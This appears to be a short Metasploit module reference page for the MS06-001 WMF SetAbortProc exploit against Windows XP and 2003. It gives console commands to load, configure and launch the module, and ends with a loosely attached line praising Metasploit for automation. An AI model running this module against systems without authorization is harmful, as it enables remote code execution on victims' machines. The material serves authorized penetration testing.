This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/ms06_001_wmf_setabortproc
msf exploit(ms06_001_wmf_setabortproc) > show targets
...targets...
msf exploit(ms06_001_wmf_setabortproc) > set TARGET < target-id >
msf exploit(ms06_001_wmf_setabortproc) > show options
...show and set options...
msf exploit(ms06_001_wmf_setabortproc) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
